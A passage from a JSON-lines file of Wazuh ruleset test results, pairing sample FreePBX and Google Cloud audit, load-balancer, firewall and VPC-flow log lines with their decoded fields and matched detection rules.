"FreePBX", "expected_rule": "70008", "rule_matches_expected": true, "ini_file": "freepbx.ini", "section": "Freepbx_3"} +{"log": "[2019-07-25 14:58:54] ERROR[21763] config_options.c: Unable to load config file 'cel.conf'", "decoder": "FreePBX", "parent": "", "fields": {"code": "21763", "msg": "Unable to load config file 'cel.conf'", "msg_type": "ERROR", "origin": "config_options", "timestamp": "2019-07-25 14:58:54"}, "field_names": ["code", "msg", "msg_type", "origin", "timestamp"], "rule": "70001", "level": "5", "expected_decoder": "FreePBX", "expected_rule": "70001", "rule_matches_expected": true, "ini_file": "freepbx.ini", "section": "Freepbx_4"} +{"log": "[npm-cache] [INFO] [npm] hash of /var/www/html/admin/modules/pm2/node/package.json: fa2348032788d5067b56972347177c79", "decoder": "FreePBX", "parent": "", "fields": {"hash": "fa2348032788d5067b56972347177c79", "msg_type": "INFO", "program": "npm", "source": "/var/www/html/admin/modules/pm2/node/package.json"}, "field_names": ["hash", "msg_type", "program", "source"], "rule": "70006", "level": "3", "expected_decoder": "FreePBX", "expected_rule": "70006", "rule_matches_expected": true, "ini_file": "freepbx.ini", "section": "Freepbx_5"} +{"log": "[2019-Jul-25 14:28:32] [freepbx.INFO]: Deprecated way to add Console commands, adding console commands this way can have negative performance impacts. Please use module.xml. See: https://wiki.freepbx.org/display/FOP/Adding+fwconsole+commands [] []", "decoder": "FreePBX", "parent": "", "fields": {"msg_type": "INFO", "operation": "Deprecated way to add Console commands, adding console commands this way can have negative performance impacts. Please use module.xml. See: https://wiki.freepbx.org/display/FOP/Adding+fwconsole+commands [] []", "timestamp": "2019-Jul-25 14:28:32"}, "field_names": ["msg_type", "operation", "timestamp"], "rule": "70005", "level": "3", "expected_decoder": "FreePBX", "expected_rule": "70005", "rule_matches_expected": true, "ini_file": "freepbx.ini", "section": "Freepbx_6"} +{"log": "{\"gcp\":{\"severity\":\"INFO\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access\",\"resource\":{\"type\":\"audited_resource\",\"labels\":{\"method\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"project_id\":\"wazuh-dev-258815\",\"service\":\"monitoring.googleapis.com\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-11T09:35:18.077583788Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"filter\":\"metric.type=\\\"pubsub.googleapis.com/topic/send_message_operation_count\\\" AND resource.labels.project_id=\\\"wazuh-dev-258815\\\" AND resource.labels.topic_id=\\\"wazuh-gcloud-blog-topic\\\" AND resource.type=\\\"pubsub_topic\\\"\",\"@type\":\"type.googleapis.com/google.monitoring.v3.ListTimeSeriesRequest\",\"name\":\"projects/wazuh-dev-258815\"},\"authenticationInfo\":{\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"769054035614\",\"permission\":\"monitoring.timeSeries.list\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"numResponseItems\":\"1\",\"methodName\":\"google.monitoring.v3.MetricService.ListTimeSeries\",\"resourceName\":\"projects/wazuh-dev-258815\",\"serviceName\":\"monitoring.googleapis.com\"},\"receiveTimestamp\":\"2021-06-11T09:35:18.35940193Z\",\"insertId\":\"s1gmn4e7xlr1\",\"timestamp\":\"2021-06-11T09:35:18.077460268Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "s1gmn4e7xlr1", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Fdata_access", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': '769054035614', 'permission': 'monitoring.timeSeries.list', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.protoPayload.numResponseItems": "1", "gcp.protoPayload.request.filter": "metric.type=\"pubsub.googleapis.com/topic/send_message_operation_count\" AND resource.labels.project_id=\"wazuh-dev-258815\" AND resource.labels.topic_id=\"wazuh-gcloud-blog-topic\" AND resource.type=\"pubsub_topic\"", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-11T09:35:18.077583788Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815", "gcp.protoPayload.serviceName": "monitoring.googleapis.com", "gcp.receiveTimestamp": "2021-06-11T09:35:18.35940193Z", "gcp.resource.labels.method": "google.monitoring.v3.MetricService.ListTimeSeries", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.service": "monitoring.googleapis.com", "gcp.resource.type": "audited_resource", "gcp.severity": "INFO", "gcp.timestamp": "2021-06-11T09:35:18.077460268Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.numResponseItems", "gcp.protoPayload.request.filter", "gcp.protoPayload.request.name", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.requestMetadata.requestAttributes.time", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.method", "gcp.resource.labels.project_id", "gcp.resource.labels.service", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65040", "level": "2", "expected_decoder": "json", "expected_rule": "65040", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP Generic Info."} +{"log": "{\"integration\":\"gcp\",\"gcp\":{\"httpRequest\":{\"latency\":\"0.000864s\",\"remoteIp\":\"YY.YY.YY.YY\",\"requestMethod\":\"GET\",\"requestSize\":\"385\",\"requestUrl\":\"http://XX.XX.XX.XX/favicon.ico\",\"responseSize\":\"488\",\"status\":502,\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\"},\"insertId\":\"1mtxf1hf2c4idk\",\"jsonPayload\":{\"@type\":\"type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry\",\"statusDetails\":\"failed_to_pick_backend\"},\"logName\":\"projects/wazuh-dev-xxxxxx/logs/requests\",\"receiveTimestamp\":\"2021-06-09T15:17:25.473538144Z\",\"resource\":{\"labels\":{\"backend_service_name\":\"framework-load-balancer-backend-test\",\"forwarding_rule_name\":\"framework-load-balancer-backend-test\",\"project_id\":\"wazuh-dev-xxxxxx\",\"target_proxy_name\":\"framework-load-balancer-test-target-proxy\",\"url_map_name\":\"framework-load-balancer-test\",\"zone\":\"global\"},\"type\":\"http_load_balancer\"},\"severity\":\"WARNING\",\"spanId\":\"ab6c36e7fc60f24e\",\"timestamp\":\"2021-06-09T15:17:24.408864Z\",\"trace\":\"projects/wazuh-dev-xxxxxx/traces/68183a7cda548ce0e79207099a1fea58\"}}", "decoder": "json", "parent": "", "fields": {"gcp.httpRequest.latency": "0.000864s", "gcp.httpRequest.remoteIp": "YY.YY.YY.YY", "gcp.httpRequest.requestMethod": "GET", "gcp.httpRequest.requestSize": "385", "gcp.httpRequest.requestUrl": "http://XX.XX.XX.XX/favicon.ico", "gcp.httpRequest.responseSize": "488", "gcp.httpRequest.status": "502", "gcp.httpRequest.userAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36", "gcp.insertId": "1mtxf1hf2c4idk", "gcp.jsonPayload.statusDetails": "failed_to_pick_backend", "gcp.logName": "projects/wazuh-dev-xxxxxx/logs/requests", "gcp.receiveTimestamp": "2021-06-09T15:17:25.473538144Z", "gcp.resource.labels.backend_service_name": "framework-load-balancer-backend-test", "gcp.resource.labels.forwarding_rule_name": "framework-load-balancer-backend-test", "gcp.resource.labels.project_id": "wazuh-dev-xxxxxx", "gcp.resource.labels.target_proxy_name": "framework-load-balancer-test-target-proxy", "gcp.resource.labels.url_map_name": "framework-load-balancer-test", "gcp.resource.labels.zone": "global", "gcp.resource.type": "http_load_balancer", "gcp.severity": "WARNING", "gcp.spanId": "ab6c36e7fc60f24e", "gcp.timestamp": "2021-06-09T15:17:24.408864Z", "gcp.trace": "projects/wazuh-dev-xxxxxx/traces/68183a7cda548ce0e79207099a1fea58", "integration": "gcp"}, "field_names": ["gcp.httpRequest.latency", "gcp.httpRequest.remoteIp", "gcp.httpRequest.requestMethod", "gcp.httpRequest.requestSize", "gcp.httpRequest.requestUrl", "gcp.httpRequest.responseSize", "gcp.httpRequest.status", "gcp.httpRequest.userAgent", "gcp.insertId", "gcp.jsonPayload.statusDetails", "gcp.logName", "gcp.receiveTimestamp", "gcp.resource.labels.backend_service_name", "gcp.resource.labels.forwarding_rule_name", "gcp.resource.labels.project_id", "gcp.resource.labels.target_proxy_name", "gcp.resource.labels.url_map_name", "gcp.resource.labels.zone", "gcp.resource.type", "gcp.severity", "gcp.spanId", "gcp.timestamp", "gcp.trace", "integration"], "rule": "65041", "level": "5", "expected_decoder": "json", "expected_rule": "65041", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP Generic Warning."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"gce_autoscaler\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"location\":\"us-east1-b\",\"autoscaler_id\":\"6792866887804055843\"}},\"protoPayload\":{\"requestMetadata\":{\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36,gzip(gfe),gzip(gfe)\",\"callerIp\":\"213.194.153.13\"},\"request\":{\"@type\":\"type.googleapis.com/compute.autoscalers.insert\"},\"authenticationInfo\":{\"principalEmail\":\"carlos.ridao@wazuh.com\"},\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"methodName\":\"beta.compute.autoscalers.insert\",\"resourceName\":\"projects/wazuh-dev-258815/zones/us-east1-b/autoscalers/framework-test-instance-group-1\",\"serviceName\":\"compute.googleapis.com\"},\"receiveTimestamp\":\"2021-06-08T11:09:02.399625057Z\",\"operation\":{\"last\":\"true\",\"producer\":\"compute.googleapis.com\",\"id\":\"operation-1623150539438-5c43f2f51f7fe-84f4728e-ac44be61\"},\"insertId\":\"suy3z6d14pw\",\"timestamp\":\"2021-06-08T11:09:02.032595Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "suy3z6d14pw", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.operation.id": "operation-1623150539438-5c43f2f51f7fe-84f4728e-ac44be61", "gcp.operation.last": "true", "gcp.operation.producer": "compute.googleapis.com", "gcp.protoPayload.authenticationInfo.principalEmail": "carlos.ridao@wazuh.com", "gcp.protoPayload.methodName": "beta.compute.autoscalers.insert", "gcp.protoPayload.requestMetadata.callerIp": "213.194.153.13", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36,gzip(gfe),gzip(gfe)", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/zones/us-east1-b/autoscalers/framework-test-instance-group-1", "gcp.protoPayload.serviceName": "compute.googleapis.com", "gcp.receiveTimestamp": "2021-06-08T11:09:02.399625057Z", "gcp.resource.labels.autoscaler_id": "6792866887804055843", "gcp.resource.labels.location": "us-east1-b", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.type": "gce_autoscaler", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-08T11:09:02.032595Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.operation.id", "gcp.operation.last", "gcp.operation.producer", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.methodName", "gcp.protoPayload.requestMetadata.callerIp", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent", "gcp.protoPayload.resourceName", "gcp.protoPayload.serviceName", "gcp.receiveTimestamp", "gcp.resource.labels.autoscaler_id", "gcp.resource.labels.location", "gcp.resource.labels.project_id", "gcp.resource.type", "gcp.severity", "gcp.timestamp", "integration"], "rule": "65042", "level": "3", "expected_decoder": "json", "expected_rule": "65042", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP Generic Notice."} +{"log": "{\"integration\":\"gcp\",\"gcp\":{\"insertId\":\"6dxcl6g15v9cee\",\"jsonPayload\":{\"connection\":{\"dest_ip\":\"10.142.0.2\",\"dest_port\":22,\"protocol\":6,\"src_ip\":\"XX.XX.XX.XX\",\"src_port\":43710},\"disposition\":\"DENIED\",\"instance\":{\"project_id\":\"wazuh-dev-XXXXXX\",\"region\":\"us-east1\",\"vm_name\":\"framework-vpc-flow-test-instance\",\"zone\":\"us-east1-b\"},\"rule_details\":{\"action\":\"DENY\",\"direction\":\"INGRESS\",\"ip_port_info\":[{\"ip_protocol\":\"TCP\",\"port_range\":[\"22\"]}],\"priority\":65534,\"reference\":\"network:default/firewall:default-deny-ssh\",\"source_range\":[\"0.0.0.0/0\"]},\"vpc\":{\"project_id\":\"wazuh-dev-XXXXXX\",\"subnetwork_name\":\"default\",\"vpc_name\":\"default\"}},\"logName\":\"projects/wazuh-dev-XXXXXX/logs/compute.googleapis.com%2Ffirewall\",\"receiveTimestamp\":\"2021-06-04T13:27:43.45097863Z\",\"resource\":{\"labels\":{\"location\":\"us-east1-b\",\"project_id\":\"wazuh-dev-XXXXXX\",\"subnetwork_id\":\"6133410668509430049\",\"subnetwork_name\":\"default\"},\"type\":\"gce_subnetwork\"},\"timestamp\":\"2021-06-04T13:27:35.794717819Z\"}}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "6dxcl6g15v9cee", "gcp.jsonPayload.connection.dest_ip": "10.142.0.2", "gcp.jsonPayload.connection.dest_port": "22", "gcp.jsonPayload.connection.protocol": "6", "gcp.jsonPayload.connection.src_ip": "XX.XX.XX.XX", "gcp.jsonPayload.connection.src_port": "43710", "gcp.jsonPayload.disposition": "DENIED", "gcp.jsonPayload.instance.project_id": "wazuh-dev-XXXXXX", "gcp.jsonPayload.instance.region": "us-east1", "gcp.jsonPayload.instance.vm_name": "framework-vpc-flow-test-instance", "gcp.jsonPayload.instance.zone": "us-east1-b", "gcp.jsonPayload.rule_details.action": "DENY", "gcp.jsonPayload.rule_details.direction": "INGRESS", "gcp.jsonPayload.rule_details.ip_port_info": "[{'ip_protocol': 'TCP', 'port_range': ['22']}]", "gcp.jsonPayload.rule_details.priority": "65534", "gcp.jsonPayload.rule_details.reference": "network:default/firewall:default-deny-ssh", "gcp.jsonPayload.rule_details.source_range": "['0.0.0.0/0']", "gcp.jsonPayload.vpc.project_id": "wazuh-dev-XXXXXX", "gcp.jsonPayload.vpc.subnetwork_name": "default", "gcp.jsonPayload.vpc.vpc_name": "default", "gcp.logName": "projects/wazuh-dev-XXXXXX/logs/compute.googleapis.com%2Ffirewall", "gcp.receiveTimestamp": "2021-06-04T13:27:43.45097863Z", "gcp.resource.labels.location": "us-east1-b", "gcp.resource.labels.project_id": "wazuh-dev-XXXXXX", "gcp.resource.labels.subnetwork_id": "6133410668509430049", "gcp.resource.labels.subnetwork_name": "default", "gcp.resource.type": "gce_subnetwork", "gcp.timestamp": "2021-06-04T13:27:35.794717819Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.jsonPayload.connection.dest_ip", "gcp.jsonPayload.connection.dest_port", "gcp.jsonPayload.connection.protocol", "gcp.jsonPayload.connection.src_ip", "gcp.jsonPayload.connection.src_port", "gcp.jsonPayload.disposition", "gcp.jsonPayload.instance.project_id", "gcp.jsonPayload.instance.region", "gcp.jsonPayload.instance.vm_name", "gcp.jsonPayload.instance.zone", "gcp.jsonPayload.rule_details.action", "gcp.jsonPayload.rule_details.direction", "gcp.jsonPayload.rule_details.ip_port_info", "gcp.jsonPayload.rule_details.priority", "gcp.jsonPayload.rule_details.reference", "gcp.jsonPayload.rule_details.source_range", "gcp.jsonPayload.vpc.project_id", "gcp.jsonPayload.vpc.subnetwork_name", "gcp.jsonPayload.vpc.vpc_name", "gcp.logName", "gcp.receiveTimestamp", "gcp.resource.labels.location", "gcp.resource.labels.project_id", "gcp.resource.labels.subnetwork_id", "gcp.resource.labels.subnetwork_name", "gcp.resource.type", "gcp.timestamp", "integration"], "rule": "65048", "level": "5", "expected_decoder": "json", "expected_rule": "65048", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP VPC firewall: DENY rule triggered."} +{"log": "{\"integration\":\"gcp\",\"gcp\":{\"insertId\":\"6dxcl6g15v9cee\",\"jsonPayload\":{\"connection\":{\"dest_ip\":\"10.142.0.2\",\"dest_port\":22,\"protocol\":6,\"src_ip\":\"XX.XX.XX.XX\",\"src_port\":43710},\"disposition\":\"ALLOWED\",\"instance\":{\"project_id\":\"wazuh-dev-XXXXXX\",\"region\":\"us-east1\",\"vm_name\":\"framework-vpc-flow-test-instance\",\"zone\":\"us-east1-b\"},\"rule_details\":{\"action\":\"ALLOW\",\"direction\":\"INGRESS\",\"ip_port_info\":[{\"ip_protocol\":\"TCP\",\"port_range\":[\"22\"]}],\"priority\":65534,\"reference\":\"network:default/firewall:default-allow-ssh\",\"source_range\":[\"0.0.0.0/0\"]},\"vpc\":{\"project_id\":\"wazuh-dev-XXXXXX\",\"subnetwork_name\":\"default\",\"vpc_name\":\"default\"}},\"logName\":\"projects/wazuh-dev-XXXXXX/logs/compute.googleapis.com%2Ffirewall\",\"receiveTimestamp\":\"2021-06-04T13:27:43.45097863Z\",\"resource\":{\"labels\":{\"location\":\"us-east1-b\",\"project_id\":\"wazuh-dev-XXXXXX\",\"subnetwork_id\":\"6133410668509430049\",\"subnetwork_name\":\"default\"},\"type\":\"gce_subnetwork\"},\"timestamp\":\"2021-06-04T13:27:35.794717819Z\"}}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "6dxcl6g15v9cee", "gcp.jsonPayload.connection.dest_ip": "10.142.0.2", "gcp.jsonPayload.connection.dest_port": "22", "gcp.jsonPayload.connection.protocol": "6", "gcp.jsonPayload.connection.src_ip": "XX.XX.XX.XX", "gcp.jsonPayload.connection.src_port": "43710", "gcp.jsonPayload.disposition": "ALLOWED", "gcp.jsonPayload.instance.project_id": "wazuh-dev-XXXXXX", "gcp.jsonPayload.instance.region": "us-east1", "gcp.jsonPayload.instance.vm_name": "framework-vpc-flow-test-instance", "gcp.jsonPayload.instance.zone": "us-east1-b", "gcp.jsonPayload.rule_details.action": "ALLOW", "gcp.jsonPayload.rule_details.direction": "INGRESS", "gcp.jsonPayload.rule_details.ip_port_info": "[{'ip_protocol': 'TCP', 'port_range': ['22']}]", "gcp.jsonPayload.rule_details.priority": "65534", "gcp.jsonPayload.rule_details.reference": "network:default/firewall:default-allow-ssh", "gcp.jsonPayload.rule_details.source_range": "['0.0.0.0/0']", "gcp.jsonPayload.vpc.project_id": "wazuh-dev-XXXXXX", "gcp.jsonPayload.vpc.subnetwork_name": "default", "gcp.jsonPayload.vpc.vpc_name": "default", "gcp.logName": "projects/wazuh-dev-XXXXXX/logs/compute.googleapis.com%2Ffirewall", "gcp.receiveTimestamp": "2021-06-04T13:27:43.45097863Z", "gcp.resource.labels.location": "us-east1-b", "gcp.resource.labels.project_id": "wazuh-dev-XXXXXX", "gcp.resource.labels.subnetwork_id": "6133410668509430049", "gcp.resource.labels.subnetwork_name": "default", "gcp.resource.type": "gce_subnetwork", "gcp.timestamp": "2021-06-04T13:27:35.794717819Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.jsonPayload.connection.dest_ip", "gcp.jsonPayload.connection.dest_port", "gcp.jsonPayload.connection.protocol", "gcp.jsonPayload.connection.src_ip", "gcp.jsonPayload.connection.src_port", "gcp.jsonPayload.disposition", "gcp.jsonPayload.instance.project_id", "gcp.jsonPayload.instance.region", "gcp.jsonPayload.instance.vm_name", "gcp.jsonPayload.instance.zone", "gcp.jsonPayload.rule_details.action", "gcp.jsonPayload.rule_details.direction", "gcp.jsonPayload.rule_details.ip_port_info", "gcp.jsonPayload.rule_details.priority", "gcp.jsonPayload.rule_details.reference", "gcp.jsonPayload.rule_details.source_range", "gcp.jsonPayload.vpc.project_id", "gcp.jsonPayload.vpc.subnetwork_name", "gcp.jsonPayload.vpc.vpc_name", "gcp.logName", "gcp.receiveTimestamp", "gcp.resource.labels.location", "gcp.resource.labels.project_id", "gcp.resource.labels.subnetwork_id", "gcp.resource.labels.subnetwork_name", "gcp.resource.type", "gcp.timestamp", "integration"], "rule": "65049", "level": "3", "expected_decoder": "json", "expected_rule": "65049", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP VPC firewall: ALLOW rule triggered."} +{"log": "{\"integration\":\"gcp\",\"gcp\":{\"insertId\":\"g3n55zfjeyg2i\",\"jsonPayload\":{\"bytes_sent\":\"8\",\"connection\":{\"dest_ip\":\"ff02::2\",\"protocol\":58,\"src_ip\":\"XXXXXXXXXXXXXX\"},\"dest_location\":{},\"end_time\":\"2021-06-04T11:18:46.770486824Z\",\"packets_sent\":\"1\",\"reporter\":\"SRC\",\"src_instance\":{\"project_id\":\"wazuh-dev-XXXXXX\",\"region\":\"us-east1\",\"vm_name\":\"framework-vpc-flow-test-instance\",\"zone\":\"us-east1-b\"},\"src_vpc\":{\"project_id\":\"wazuh-dev-XXXXXX\",\"subnetwork_name\":\"default\",\"vpc_name\":\"default\"},\"start_time\":\"2021-06-04T11:18:46.770486824Z\"},\"logName\":\"projects/wazuh-dev-XXXXXX/logs/compute.googleapis.com%2Fvpc_flows\",\"receiveTimestamp\":\"2021-06-04T11:19:10.440812789Z\",\"resource\":{\"labels\":{\"location\":\"us-east1-b\",\"project_id\":\"wazuh-dev-XXXXXX\",\"subnetwork_id\":\"6133410668509430049\",\"subnetwork_name\":\"default\"},\"type\":\"gce_subnetwork\"},\"timestamp\":\"2021-06-04T11:19:10.440812789Z\"}}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "g3n55zfjeyg2i", "gcp.jsonPayload.bytes_sent": "8", "gcp.jsonPayload.connection.dest_ip": "ff02::2", "gcp.jsonPayload.connection.protocol": "58", "gcp.jsonPayload.connection.src_ip": "XXXXXXXXXXXXXX", "gcp.jsonPayload.end_time": "2021-06-04T11:18:46.770486824Z", "gcp.jsonPayload.packets_sent": "1", "gcp.jsonPayload.reporter": "SRC", "gcp.jsonPayload.src_instance.project_id": "wazuh-dev-XXXXXX", "gcp.jsonPayload.src_instance.region": "us-east1", "gcp.jsonPayload.src_instance.vm_name": "framework-vpc-flow-test-instance", "gcp.jsonPayload.src_instance.zone": "us-east1-b", "gcp.jsonPayload.src_vpc.project_id": "wazuh-dev-XXXXXX", "gcp.jsonPayload.src_vpc.subnetwork_name": "default", "gcp.jsonPayload.src_vpc.vpc_name": "default", "gcp.jsonPayload.start_time": "2021-06-04T11:18:46.770486824Z", "gcp.logName": "projects/wazuh-dev-XXXXXX/logs/compute.googleapis.com%2Fvpc_flows", "gcp.receiveTimestamp": "2021-06-04T11:19:10.440812789Z", "gcp.resource.labels.location": "us-east1-b", "gcp.resource.labels.project_id": "wazuh-dev-XXXXXX", "gcp.resource.labels.subnetwork_id": "6133410668509430049", "gcp.resource.labels.subnetwork_name": "default", "gcp.resource.type": "gce_subnetwork", "gcp.timestamp": "2021-06-04T11:19:10.440812789Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.jsonPayload.bytes_sent", "gcp.jsonPayload.connection.dest_ip", "gcp.jsonPayload.connection.protocol", "gcp.jsonPayload.connection.src_ip", "gcp.jsonPayload.end_time", "gcp.jsonPayload.packets_sent", "gcp.jsonPayload.reporter", "gcp.jsonPayload.src_instance.project_id", "gcp.jsonPayload.src_instance.region", "gcp.jsonPayload.src_instance.vm_name", "gcp.jsonPayload.src_instance.zone", "gcp.jsonPayload.src_vpc.project_id", "gcp.jsonPayload.src_vpc.subnetwork_name", "gcp.jsonPayload.src_vpc.vpc_name", "gcp.jsonPayload.start_time", "gcp.logName", "gcp.receiveTimestamp", "gcp.resource.labels.location", "gcp.resource.labels.project_id", "gcp.resource.labels.subnetwork_id", "gcp.resource.labels.subnetwork_name", "gcp.resource.type", "gcp.timestamp", "integration"], "rule": "65050", "level": "2", "expected_decoder": "json", "expected_rule": "65050", "rule_matches_expected": true, "ini_file": "gcp.ini", "section": "GCP VPC flow rules grouped."} +{"log": "{\"gcp\":{\"severity\":\"NOTICE\",\"logName\":\"projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity\",\"resource\":{\"type\":\"pubsub_topic\",\"labels\":{\"project_id\":\"wazuh-dev-258815\",\"topic_id\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\"}},\"protoPayload\":{\"requestMetadata\":{\"requestAttributes\":{\"time\":\"2021-06-10T15:07:09.68842532Z\"},\"callerSuppliedUserAgent\":\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)\",\"callerIp\":\"80.39.210.176\"},\"request\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"authenticationInfo\":{\"principalSubject\":\"user:javier.bejar@wazuh.com\",\"principalEmail\":\"javier.bejar@wazuh.com\"},\"authorizationInfo\":[{\"resource\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"permission\":\"pubsub.topics.attachSubscription\",\"resourceAttributes\":{},\"granted\":true}],\"@type\":\"type.googleapis.com/google.cloud.audit.AuditLog\",\"response\":{\"@type\":\"type.googleapis.com/google.pubsub.v1.Subscription\",\"messageRetentionDuration\":\"604800s\",\"name\":\"projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub\",\"topic\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"ackDeadlineSeconds\":\"10\"},\"methodName\":\"google.pubsub.v1.Subscriber.CreateSubscription\",\"resourceName\":\"projects/wazuh-dev-258815/topics/threatintel-gcp\",\"serviceName\":\"pubsub.googleapis.com\"},\"receiveTimestamp\":\"2021-06-10T15:07:15.879792037Z\",\"insertId\":\"jzee3lb9j\",\"timestamp\":\"2021-06-10T15:07:09.68170948Z\"},\"integration\":\"gcp\"}", "decoder": "json", "parent": "", "fields": {"gcp.insertId": "jzee3lb9j", "gcp.logName": "projects/wazuh-dev-258815/logs/cloudaudit.googleapis.com%2Factivity", "gcp.protoPayload.authenticationInfo.principalEmail": "javier.bejar@wazuh.com", "gcp.protoPayload.authenticationInfo.principalSubject": "user:javier.bejar@wazuh.com", "gcp.protoPayload.authorizationInfo": "[{'resource': 'projects/wazuh-dev-258815/topics/threatintel-gcp', 'permission': 'pubsub.topics.attachSubscription', 'resourceAttributes': {}, 'granted': True}]", "gcp.protoPayload.methodName": "google.pubsub.v1.Subscriber.CreateSubscription", "gcp.protoPayload.request.ackDeadlineSeconds": "10", "gcp.protoPayload.request.messageRetentionDuration": "604800s", "gcp.protoPayload.request.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.request.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.requestMetadata.callerIp": "80.39.210.176", "gcp.protoPayload.requestMetadata.callerSuppliedUserAgent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36,gzip(gfe)", "gcp.protoPayload.requestMetadata.requestAttributes.time": "2021-06-10T15:07:09.68842532Z", "gcp.protoPayload.resourceName": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.response.ackDeadlineSeconds": "10", "gcp.protoPayload.response.messageRetentionDuration": "604800s", "gcp.protoPayload.response.name": "projects/wazuh-dev-258815/subscriptions/threatintel-gcp-sub", "gcp.protoPayload.response.topic": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.protoPayload.serviceName": "pubsub.googleapis.com", "gcp.receiveTimestamp": "2021-06-10T15:07:15.879792037Z", "gcp.resource.labels.project_id": "wazuh-dev-258815", "gcp.resource.labels.topic_id": "projects/wazuh-dev-258815/topics/threatintel-gcp", "gcp.resource.type": "pubsub_topic", "gcp.severity": "NOTICE", "gcp.timestamp": "2021-06-10T15:07:09.68170948Z", "integration": "gcp"}, "field_names": ["gcp.insertId", "gcp.logName", "gcp.protoPayload.authenticationInfo.principalEmail", "gcp.protoPayload.authenticationInfo.principalSubject", "gcp.protoPayload.authorizationInfo", "gcp.protoPayload.methodName", "gcp.protoPayload.request.ackDeadlineSeconds", "gcp.protoPayload.request.messageRetentionDuration", "gcp.protoPayload.request.name", 